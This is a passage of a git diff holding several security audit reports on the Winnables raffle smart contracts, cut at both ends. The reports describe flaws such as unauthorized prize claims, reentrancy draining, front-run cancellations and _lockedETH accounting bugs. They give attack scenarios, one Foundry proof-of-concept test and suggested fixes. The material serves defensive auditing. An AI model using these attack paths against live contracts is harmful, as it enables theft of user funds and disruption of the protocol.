contract contains a critical vulnerability in its ETH locking mechanism. The `_lockedETH` state variable is not properly updated during refund operations, leading to a cumulative discrepancy between the perceived and actual locked ETH. This inconsistency can be exploited to artificially inflate the `_lockedETH` value, resulting in the inability to withdraw legitimate unlocked funds and disrupting the protocol's normal operations. + +# Vulnerability Detail + +The root cause of this vulnerability lies in the `refundPlayers` function of the `WinnablesTicketManager` contract. When refunds are issued for canceled raffles, the function fails to decrease the `_lockedETH` value, which was initially increased during ticket purchases. + +There is a requirement for a minimum number of tickets to be sold. If this minimum (set as `minTicketsThreshold` when creating the raffle) is not reached by the end of the raffle period, the raffle can be canceled. This cancellation mechanism is crucial to understanding the vulnerability, as it provides a legitimate path for raffles to be canceled, triggering the refund process. + +The `_lockedETH` variable is increased in the `buyTickets` function: + +```solidity +function buyTickets( + uint256 raffleId, + uint16 ticketCount, + uint256 blockNumber, + bytes calldata signature +) external payable { + // ... (other checks and operations) + unchecked { + raffle.totalRaised += msg.value; + _userNonces[msg.sender]++; + _lockedETH += msg.value; + } + // ... (minting tickets and emitting events) +} +``` + +However, there is no corresponding decrease in `_lockedETH` when refunds are issued. This leads to an ever-increasing `_lockedETH` value that doesn't accurately reflect the actual amount of locked ETH in the contract. The existence of the cancellation mechanism due to insufficient ticket sales exacerbates this issue, as it provides a legitimate and potentially frequent trigger for the refund process, amplifying the discrepancy in the `_lockedETH` value over time. + +# Impact + +The primary impact of this vulnerability is the potential for fund lockup in the WinnablesTicketManager contract. As the `_lockedETH` value artificially inflates over time, it can lead to the following consequences: + +1. Prevention of Legitimate Withdrawals: The [`withdrawETH`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L299-L307) function relies on `_lockedETH` to determine the amount of ETH available for withdrawal. As `_lockedETH` grows larger than the actual contract balance, this function will revert due to underflow, preventing any ETH withdrawals. +2. Protocol Disruption: The inflated `_lockedETH` value could interfere with other protocol operations that rely on an accurate representation of locked funds. +3. Griefing Attacks: Malicious actors could exploit this vulnerability to intentionally inflate `_lockedETH`, disrupting the protocol's ability to manage its ETH holdings correctly. An attacker could repeatedly participate in raffles with minimal ETH, ensure these raffles naturally end up being canceled, and then claim refunds, causing `_lockedETH` to inflate without actually locking any ETH. This process could be automated and executed over an extended period, gradually degrading the protocol's functionality and leading to a complete lockdown of ETH withdrawals, even for legitimate unlocked funds. + +# Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L212-L229 + +# Tool used + +Manual Review + +# Recommendation + +- Update `_lockedETH` in the `refundPlayers` function: + +```solidity +function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + unchecked { + _lockedETH -= amountToSend; // Decrease _lockedETH + } + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } +} +``` + +- Implement a reconciliation mechanism: Create a function that reconciles the `_lockedETH` value with the actual sum of locked ETH across all active raffles. This function should be called periodically or after significant events (like raffle cancellations). +- Add safety checks: Implement additional checks in critical functions to ensure that `_lockedETH` never exceeds the contract's actual ETH balance. \ No newline at end of file diff --git a/001/565.md b/001/565.md new file mode 100644 index 0000000..699e07a --- /dev/null +++ b/001/565.md @@ -0,0 +1,159 @@ +Harsh Merlot Bird + +Medium + +# No authorized check for msg.sender and prizeManager param in propagateRaffleWinner during message propagation to the prizeManager + +## Summary +- No authorized check for msg.sender and prizeManager param in propagateRaffleWinner + +## Vulnerability Detail +### poc +```solidity +//// SPDX-License-Identifier: MIT +pragma solidity 0.8.24; + +import {WinnablesPrizeManager} from "contracts/WinnablesPrizeManager.sol"; +import {WinnablesTicketManager} from "contracts/WinnablesTicketManager.sol"; +import {WinnablesTicket} from "contracts/WinnablesTicket.sol"; +import {Test, console2} from "forge-std/Test.sol"; +import {IRouterClient, WETH9, LinkToken, BurnMintERC677Helper} from "@chainlink/local/src/ccip/CCIPLocalSimulator.sol"; +import {CCIPLocalSimulator} from "@chainlink/local/src/ccip/CCIPLocalSimulator.sol"; +import {ECDSA} from "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; + +contract Aud is Test { + using ECDSA for bytes32; + + WinnablesPrizeManager internal wpm; + WinnablesTicketManager internal wtm; + WinnablesTicket internal t; + CCIPLocalSimulator public ccipLocalSimulator; + uint64 public destinationChainSelector; + IRouterClient sourceRouter; + IRouterClient destinationRouter; + WETH9 wrappedNative; + LinkToken linkToken; + BurnMintERC677Helper ccipBnM; + BurnMintERC677Helper ccipLnM; + + address api = 0xbB644dbda99AA52c86411cD75c07b78f0986B790; + uint256 apiPk = 0x0f9fc2463717b6c2f779f12f7b950d4bd41a0b7d0a59d42d70a54d20c9298eb8; + address user01 = makeAddr("user01"); + address user02 = makeAddr("user02"); + address user03 = makeAddr("user03"); + + function setUp() public { + ccipLocalSimulator = new CCIPLocalSimulator(); + + (destinationChainSelector, sourceRouter, destinationRouter, wrappedNative, linkToken, ccipBnM, ccipLnM) = + ccipLocalSimulator.configuration(); + + t = new WinnablesTicket(); + wpm = new WinnablesPrizeManager(address(linkToken), address(destinationRouter)); + wtm = new WinnablesTicketManager( + address(linkToken), address(this), 8403, bytes32(abi.encode("")), address(t), address(sourceRouter) + ); + t.setRole(address(wtm), 1, true); + wtm.setCCIPCounterpart(address(wpm), destinationChainSelector, true); + wtm.setRole(api, 1, true); + wpm.setCCIPCounterpart(address(wtm), destinationChainSelector, true); + } + + ///create raffle, buy tickets , draw winner , withdraw win + function test_improper_propagate() external { + wpm.lockETH{value: 10 ether}(address(wtm), destinationChainSelector, 1, 10 ether); + wtm.createRaffle( + 1, uint64(block.timestamp), uint64(block.timestamp + 24 hours), uint32(2500), uint32(5000), uint32(1500) + ); + + bytes memory _sig1 = _apiBuy(user01, wtm.getNonce(user01), 1, 1000, block.number, 1 ether); + deal(user01, 1 ether); + vm.prank(user01); + wtm.buyTickets{value: 1 ether}(1, uint16(1000), block.number, _sig1); + + bytes memory _sig2 = _apiBuy(user02, wtm.getNonce(user02), 1, 1500, block.number, 1 ether); + deal(user02, 1 ether); + vm.prank(user02); + wtm.buyTickets{value: 1 ether}(1, uint16(1500), block.number, _sig2); + + bytes memory _sig3 = _apiBuy(user03, wtm.getNonce(user03), 1, 1400, block.number, 1 ether); + deal(user03, 1 ether); + vm.prank(user03); + wtm.buyTickets{value: 1 ether}(1, uint16(1400), block.number, _sig3); + + //todo how does VRFConsumerBaseV2 work in depth and how can it affect propagate + skip(1.5 days); + wtm.drawWinner(1); + uint256[] memory randomWords = new uint256[](1); + randomWords[0] = uint256(112233445566); + //simulate fufill + wtm.rawFulfillRandomWords(32, randomWords); + wtm.propagateRaffleWinner(address(this), destinationChainSelector, 1); + vm.expectRevert(); + wtm.propagateRaffleWinner(address(wpm), destinationChainSelector, 1); + } + + function requestRandomWords( + bytes32 keyHash, + uint64 subId, + uint16 minimumRequestConfirmations, + uint32 callbackGasLimit, + uint32 numWords + ) external returns (uint256 requestId) { + requestId = + uint256(bytes32(abi.encode(keyHash, subId, minimumRequestConfirmations, callbackGasLimit, numWords))); + } + + function _apiBuy( + address _buyer, + uint256 _nonce, + uint256 raffleId, + uint16 ticketCount, + uint256 blockNumber, + uint256 value + ) internal returns (bytes memory signature) { + bytes32 digest = keccak256(abi.encodePacked(_buyer, _nonce, raffleId, ticketCount, blockNumber, value)) + .toEthSignedMessageHash(); + + vm.startPrank(api); + (uint8 v, bytes32 r, bytes32 s) = vm.sign(uint256(apiPk), digest); + signature = abi.encodePacked(r, s, v); + vm.stopPrank(); + } +} + +``` +- After the raffle has been fufilled from chainlink vrf(https://snowtrace.io/address/0xd5D517aBE5cF79B7e95eC98dB0f0277788aFF634/contract/43114/code?chainid=43114), supplying the proof and request params, propagateRaffleWinner, doesnt check if the prizeManager used is the correct one, a malicious user can use a crafted prizeManager to receive the chainlink ccip message instead on the target chain or anychain supplied +- This would cause propagateRaffleWinner to always to revert whenever the correct prizeManager is supplied since the raffle status has changed [here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L336) +```solidity +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage( + prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; //@audit here + } +} +``` +## Impact +Since the lockedETH storage var is also been deducted here , this would automatically cause the function uncallable +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L343 +```solidity + unchecked { + _lockedETH -= raffle.totalRaised; + } +``` +## Code Snippet +- https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334 +## Tool used +- vscode +- manual Review + +## Recommendation +- prizeManager on the chain where the prize would be locked should be checked for or stored in the storage nd be checked for msg.sender is checked \ No newline at end of file diff --git a/001/566.md b/001/566.md new file mode 100644 index 0000000..25bd459 --- /dev/null +++ b/001/566.md @@ -0,0 +1,71 @@ +Polite Canvas Eagle + +High + +# `_ccipReceive` in `WinnablesTicketManager` does not update the `RaffleStatus` to CANCELED. + +## Summary +`_ccipReceive` in `WinnablesTicketManager` does not update the `RaffleStatus` to CANCELED, when `_raffles[raffleId].status != RaffleStatus.NONE`. This can lead to LINK tokens being wasted. Also, allows the winner to still be set, even after getting cancelled. + +## Vulnerability Detail +In `_ccipReceive` function: + +```solidity + function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + (uint256 raffleId) = abi.decode(message.data, (uint256)); + if (_raffles[raffleId].status != RaffleStatus.NONE) { + // The raffle cannot be created, send back a cancel message to unlock the prize + _sendCCIPMessage( + _senderAddress, + message.sourceChainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + return; + } + _raffles[raffleId].status = RaffleStatus.PRIZE_LOCKED; + + emit RafflePrizeLocked( + message.messageId, + message.sourceChainSelector, + raffleId + ); + } +``` +When `(_raffles[raffleId].status != RaffleStatus.NONE)`, while a message is sent to the `WinnablesPrizeManager` to cancel the raffle, `_raffles[raffleId].status` is not set to `RaffleStatus.CANCELED`. This is problematic. + +As it is not CANCELED, and if the status was IDLE originally, then someone can still call the `drawWinner` (given that `_checkShouldDraw` satisfies) function, which spends the LINK token to get a random number (an unwanted spend). After this `propagateRaffleWinner` is called which again spends LINK too to send a ccip message declaring the winner to the `WinnablesPrizeManager` contract. + +The major problem here is even when the raffle is cancelled on the `WinnablesPrizeManager` contract, a winner for that raffle can still be set in the contract. This allows a winner to get prizes for a cancelled raffle. When in fact, a cancelled raffle's funds must be refunded to the ticket holders. + +If the admin had to set the raffle status to `CANCELED` in`WinnablesTicketManager` contract , they can only do it through the `cancelRaffle` function, which again sends a CCIP message, leading to more unwanted spend/consumption of LINK tokens + +## Impact +Unnecessary consumption of LINK tokens. Also, a winner can be set for a cancelled raffle. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L365-L388 + +## Tool used + +Manual Review + +## Recommendation +Add the following to the ccipReceive function: + +```solidity + if (_raffles[raffleId].status != RaffleStatus.NONE) { + // The raffle cannot be created, send back a cancel message to unlock the prize + --> _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + _senderAddress, + message.sourceChainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + return; + } +``` \ No newline at end of file diff --git a/001/567.md b/001/567.md new file mode 100644 index 0000000..df0f748 --- /dev/null +++ b/001/567.md @@ -0,0 +1,18 @@ +Rhythmic Coconut Bee + +Invalid + +# [Low] `WinnablesPrizeManager.sol::claimPrize()` checks if msg.sender is winner or not after sending the prize. + + +**Description:** `claimPrize()` transfer the prize according to `RaffleType` then check msg.sender is winner or not : line 105 - 123 + +**Impact:** If `RaffleType` is ETH, the contract make an external call to msg.sender, in some cases this could be a smart contract with malicious intentions. + +```solidity + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); : line 120 +``` + +**Recommended Mitigation:** + +Make sure the caller of the function is the winner first. \ No newline at end of file diff --git a/001/569.md b/001/569.md new file mode 100644 index 0000000..5acca05 --- /dev/null +++ b/001/569.md @@ -0,0 +1,83 @@ +Jolly Charcoal Albatross + +High + +# Unprotected Raffle Cancellation Enables Cross-Chain Timing Attacks and Protocol Disruption + +# Summary + +The `WinnablesTicketManager` contract allows for the cancellation of raffles in the `PRIZE_LOCKED` state without adequate safeguards. This vulnerability creates a window of opportunity for malicious actors to disrupt the raffle creation process, leading to cross-chain inconsistencies, user confusion, and protocol instability. + +# Vulnerability Detail + +The vulnerability exists in the [`_checkShouldCancel`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L436-L437) function of the `WinnablesTicketManager` contract. This function allows cancellation when the raffle status is `PRIZE_LOCKED`, as evidenced by the immediate return statement. This permissive check is then used in the public [`cancelRaffle`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L279-L280) function. + +The vulnerability arises from the cross-chain nature of the protocol. When a prize is locked on Ethereum, a CCIP message is sent to set the raffle status to `PRIZE_LOCKED` on Avalanche. There's a time window between this status change and the admin calling `createRaffle` to finalize the raffle setup. During this window, anyone can call `cancelRaffle`. + +**Attack Scenario:** + +1. The attacker monitors the Ethereum chain for transactions to the `WinnablesPrizeManager` contract that lock prizes for new raffles. +2. When a new prize is locked, the `WinnablesPrizeManager` sends a CCIP message to the `WinnablesTicketManager` on Avalanche to set the raffle status to `PRIZE_LOCKED`. +3. The attacker observes this CCIP message and prepares a transaction to call `cancelRaffle` on the `WinnablesTicketManager` contract. +4. The attacker submits this cancellation transaction with a high gas price to increase the likelihood of it being processed before the admin's `createRaffle` transaction. +5. If successful, the attacker's `cancelRaffle` transaction is executed before the admin can set up the raffle parameters. +6. The `cancelRaffle` function changes the raffle status to `CANCELED` and sends a CCIP message back to Ethereum to unlock the prize. +7. This creates a state where the prize is unlocked on Ethereum, but no raffle actually took place, potentially confusing users and disrupting the protocol's operations. +8. The attacker can repeat this process for multiple raffles, causing widespread disruption and potentially damaging the protocol's reputation. + +# Impact + +1. Cross-chain Timing Attacks: Attackers can monitor the Ethereum chain for prize locking transactions and attempt to front-run the admin's `createRaffle` transaction with a `cancelRaffle` call on Avalanche. +2. Reputation Damage: Frequent cancellation attempts or successful cancellations of raffles in `PRIZE_LOCKED` state could make the protocol appear unstable, discouraging user participation. +3. CCIP Message Spam: An attacker could generate a high volume of CCIP messages by repeatedly attempting to cancel raffles, potentially congesting the cross-chain messaging system and draining LINK tokens used for CCIP fees. + +# Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L436-L437 + +# Tool used + +Manual Review + +# Recommendation + +- Implement Time-based Protection: Add a time lock preventing cancellation for a set period after a prize is locked. This gives admins a window to set up the raffle without interference. + +```solidity +mapping(uint256 => uint256) private _prizeLockTimestamp; + +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) { + require(block.timestamp > _prizeLockTimestamp[raffleId] + 1 hours, "Cannot cancel within 1 hour of prize locking"); + return; + } + // ... rest of the function +} +``` + +- Rate Limiting: Implement a cooldown period for cancellation attempts to prevent rapid, repeated calls. + +```solidity +mapping(address => uint256) private _lastCancellationAttempt; + +function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + require(block.timestamp > _lastCancellationAttempt[msg.sender] + 15 minutes, "Please wait before attempting to cancel again"); + _lastCancellationAttempt[msg.sender] = block.timestamp; + + // ... rest of the function +} +``` + +- Admin-only Cancellation in `PRIZE_LOCKED` State: Restrict cancellation in `PRIZE_LOCKED` state to admin accounts only. + +```solidity +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) { + require(_hasRole(msg.sender, 0), "Only admin can cancel in PRIZE_LOCKED state"); + return; + } + // ... rest of the function +} +``` \ No newline at end of file diff --git a/001/570.md b/001/570.md new file mode 100644 index 0000000..16cf2f8 --- /dev/null +++ b/001/570.md @@ -0,0 +1,53 @@ +Clean Fiery Caribou + +High + +# ETH raffle type prize winner can drain WinnablesPrizeManager.sol's ETH balance + +### Summary + +_ClaimPrize()_ fails to follow CEI pattern, the function is susceptible to reentrancy attacks + +### Root Cause +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L116-L122 + +In _ClaimPrize()_, ETH is sent out to prize winner before the rafflePrize.status is marked as claimed. +```solidity +} else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; +``` + +So the prize winner can reenter so many times draining the contract's balance before the `rafflePrize.status` is marked as claimed. + +### Internal pre-conditions + +1. There need to be ETH balance in the contract even when ETH Raffle Prize amount is deducted (i.e an available ETH balance that doesn't belong to this particular ETH raffle prize winner) + +### External pre-conditions + +1. ETH Raffle Prize winner has to be a contract +2. He has to initiate the reentrancy attack in his receive() / fallback() function + +### Attack Path + +1. ETH raffle type prize winner first calls _ClaimPrize()_ +2. When WinnablesPrizeManager.sol sends him ETH, he reenters and keeps reentering till he drains the whole ETH balance of the contract + +### Impact + + WinnablesPrizeManager.sol can lose its whole ETH balance to a malicious ETH raffle type prize winner + +### PoC + +_No response_ + +### Mitigation + +Follow CEI pattern in _ClaimPrize()_ + +I mean mark the rafflePrize.status is marked as claimed before sending out the ETH \ No newline at end of file diff --git a/001/571.md b/001/571.md new file mode 100644 index 0000000..d83f7e6 --- /dev/null +++ b/001/571.md @@ -0,0 +1,42 @@ +Jolly Charcoal Albatross + +Medium + +# Incorrect Balance Check in Token Withdrawal Function Leads to Denial of Service + +# Summary + +The `withdrawTokens` function in the WinnablesTicketManager contract contains a critical logic error in its balance check. This error prevents the withdrawal of any amount less than the full balance of a given token, effectively rendering the function unusable for partial withdrawals and potentially locking funds in the contract. + +# Vulnerability Detail + +The vulnerability is located in the [`withdrawTokens`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L295-L296) function of the WinnablesTicketManager contract. The function is designed to allow administrators to withdraw ERC20 tokens that may have been accidentally sent to the contract. However, the balance check is implemented incorrectly. +The issue lies in the condition `if (amount < balance) revert InsufficientBalance();`. This condition will revert the transaction if the requested withdrawal amount is less than the total balance, which is the opposite of the intended behavior. + +# Impact + +- Denial of Service: The function will revert for any withdrawal attempt that is not for the exact full balance of the token in the contract. This effectively renders the function unusable for partial withdrawals. +- Potential Fund Lock: If the contract receives multiple deposits of the same token over time, it becomes impossible to withdraw these funds separately. The admin would be forced to withdraw the entire balance at once, which may not always be desirable or practical. +- Increased Risk of Errors: If an admin attempts to withdraw the full balance but slightly miscalculates the amount, the transaction will fail, potentially leading to confusion and repeated attempts. +- Reduced Flexibility: The inability to perform partial withdrawals significantly reduces the contract's flexibility in managing funds, which could be particularly problematic in emergency situations or when precise fund management is required. + +# Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L295-L296 + +# Tool used + +Manual Review + +# Recommendation + +To fix this vulnerability, the balance check should be reversed. Here's the corrected code: + +```solidity +function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); + if (amount > balance) revert InsufficientBalance(); // Corrected check + token.safeTransfer(msg.sender, amount); +} +``` \ No newline at end of file diff --git a/001/572.md b/001/572.md new file mode 100644 index 0000000..265d4bb --- /dev/null +++ b/001/572.md @@ -0,0 +1,67 @@ +Jolly Charcoal Albatross + +High + +# Unauthorized Prize Claim Due to Premature Asset Transfer in claimPrize Function + +# Summary + +The `claimPrize` function in the `WinnablesPrizeManager` contract contains a critical vulnerability where the prize (NFT, TOKEN, or ETH) is transferred to the caller before verifying their status as the legitimate winner. This flaw could allow unauthorized users to claim prizes, potentially leading to significant asset loss for the protocol. + +# Vulnerability Detail + +The vulnerability is present in the [`claimPrize`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesPrizeManager.sol#L103-L125) function of the `WinnablesPrizeManager` contract. The function transfers the prize to `msg.sender` before performing crucial authorization checks. + +The vulnerability stems from the order of operations: + +1. The prize is transferred to `msg.sender`. +2. The function checks if `msg.sender` is the actual winner. +3. The function checks if the prize has already been claimed. + +This sequence allows an attacker to receive the prize before the authorization checks are performed. + +# Impact + +- Unauthorized Prize Claims: Any user could potentially claim prizes they didn't win, leading to direct asset loss for the protocol. +- Duplicate Claims: The legitimate winner might be unable to claim their prize if an attacker claims it first. +- Trust and Reputation Damage: Such a vulnerability could severely damage the protocol's reputation and user trust. + +# Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesPrizeManager.sol#L120-L122 + +# Tool used + +Manual Review + +# Recommendation + +To address this vulnerability, the function should be restructured to perform all necessary checks before transferring any assets - "check-effects-interactions”. Here's a recommended fix: + +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + + // Perform checks first + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + + rafflePrize.status = RafflePrizeStatus.CLAIMED; + + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + + emit PrizeClaimed(raffleId, msg.sender); +} +``` \ No newline at end of file diff --git a/001/573.md b/001/573.md new file mode 100644 index 0000000..a0db3b0 --- /dev/null +++ b/001/573.md @@ -0,0 +1,84 @@ +Electric Mango Albatross + +High + +# {malicious user} will {drain} {the vault} + +### Summary + +the function `claimPrize` doesn't follow the checks and effects as it first sends the money and then it checks for access control. + +### Root Cause + +the root cause is in [`claimPrize`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L123) as we can see : +```solidity + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); //@audit + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` +it first sends the money and then it checks `msg.sender != rafflePrize.winner` this would be fine if that is a variable it will revert and everything will be fine but here we are transferring assets as we see in `ETH` for example it requires `bool` and after the transfer finish it goes to the next block this effectively allows anyone to drain the contract + +### Internal pre-conditions + +Not needed as function is `external` + +### External pre-conditions + +not needed + +### Attack Path + +no specific attack path is needed anyone can call the function + +### Impact + +the whole vault can be drained by anyone as once the asset is transferred even if it `revert` the assets would be lost + +### PoC + +_No response_ + +### Mitigation + +Check for access control before sending assets as shown below : +```solidity + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` diff --git a/001/575.md b/001/575.md new file mode 100644 index 0000000..16a095d --- /dev/null +++ b/001/575.md @@ -0,0 +1,42 @@ +Tart Brick Canary + +Medium + +# Attackers can prevent admin from withdrawing Link or any ERC20 tokens in the contract due to use of wrong operator + +## Summary +Attackers can prevent admin from withdrawing Link or any ERC20 tokens in the contract due to use of wrong operator + +## Vulnerability Detail +Admin is able to withdraw the Link sent to the WinnablesTicketManager.sol contract as well as any other ERC20 tokens accidentally sent to it through the `withdrawTokens()` function: +```solidity +function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); +@> if (amount < balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` +The issue here is in the **InsufficientBalance()** check, as seen above it checks `amount < balance` this means the amount must be strictly equal to the contract balance. This allows for attackers to frontrun the admin call to `withdrawTokens()` and deposit an insignificant amount(e.g 1wei) which would cause the admin transaction to revert preventing admin from withdrawing Link or any ERC20 tokens stuck in the contract. + +## Impact +Attackers can prevent admin from withdrawing Link or any ERC20 tokens in the contract + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L295 + +## Tool used + +Manual Review + +## Recommendation +Change the operator from `<` to `>` to avoid strict equality check. +```diff +function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); ++ if (amount > balance) revert InsufficientBalance(); +- if (amount < balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` \ No newline at end of file diff --git a/001/576.md b/001/576.md new file mode 100644 index 0000000..97a83b5 --- /dev/null +++ b/001/576.md @@ -0,0 +1,212 @@ +Wonderful Eggplant Aardvark + +High + +# Lack of access control in `WinnablesTicketManager::cancelRaffle` can cause DOS for the admin + +### Summary + +Lack of access control in `WinnablesTicketManager::cancelRaffle` can be used to prevent raffle creation and cause a denial of service to the admin by a malicious user who can cancel the raffle before it is created and after the prize is locked. + +### Root Cause + +In `_checkShouldCancel` there is no check to see if the account calling the function is a user or an admin. The intention is to allow users to cancel raffles in case when the `minTicketsThreshold` is not reached before `endTime` but currently it can be exploited when the raffle status is `PRIZE_LOCKED` as the condition on 